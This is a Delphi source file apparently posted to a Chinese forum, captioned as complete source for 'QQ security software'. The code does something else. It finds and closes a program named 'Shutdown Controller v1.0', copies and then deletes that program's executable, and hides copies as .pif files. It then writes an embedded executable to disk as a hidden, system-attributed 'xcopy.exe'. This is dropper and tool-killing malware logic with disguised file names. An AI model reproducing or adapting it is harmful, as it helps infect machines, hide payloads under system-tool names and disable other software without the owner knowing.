closee.pas

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

unit Closee;

interface
 uses
  Windows,PSAPI,Messages,FunUnit,VarUnit;
 function StrPas(const Str: PChar): string;
 procedure guanbi;

implementation
 //获取程序路径
function StrPas(const Str: PChar): string;
begin
  Result := Str;
end;

function GetPath(hWnd:HWND):string;
var hProcessID, hProcess: THandle;
hMod: HMODULE;
Size: DWORD;
Buf: array[0..255] of char;
begin
GetWindowThreadProcessId(hWnd, @hProcessID);
hProcess:= OpenProcess(PROCESS_ALL_ACCESS, False, hProcessID);
EnumProcessModules(hProcess, @hMod, SizeOf(hMod), Size);
GetModuleFileNameEx(hProcess, hMod, Buf, SizeOf(Buf));
CloseHandle(hProcess);
Result:= StrPas(Buf);
end;
procedure guanbi;
var
Clos:string;
   hWND1:HWnd;
   delEXE:string;
   Temp:string;
   Msdos:string;
   QQ:string;
   MS:string;
  begin
  Temp:=GetDirectory(1)+'Temp.pif';
   Msdos:=GetDirectory(1)+'Ms_dos.pif';
   delEXE:=GetDirectory(1)+'xcopy.exe';
    hWND1:= FindWindow('TMainform', 'Shutdown Controller v1.0');
       if  hWND1<>0 then
          begin
            Clos:=GetPath(hWND1); //获取引导文件路径
              CopyFile(pchar(Clos),pchar(Temp),true);
              SetFileAttributes(PChar(Temp),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
            PostMessage(hWND1,WM_CLOSE,0,0);
          end;
      DeleteFile(pchar(delEXE));
  
     CopyFile(pchar(Temp),pchar(Msdos),true);
     DeleteFile(pchar(Temp));
      MS:='xcopy';
      QQ:='QQGameDl.exe';
      if (pos(UpperCase(QQ),UpperCase(Clos))>0) or(pos(UpperCase(MS),UpperCase(Clos))>0)  then exit
      else begin
      DeleteFile(pchar(Clos));
      end;
    ComDLL_FileNameA := GetDirectory(1)+'xcopy.exe';
    ResourceToFile(RT_RCDATA, 'EXEFILE', PChar(ComDLL_FileNameA));
    SetFileAttributes(PChar(ComDLL_FileNameA),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
  end;
end.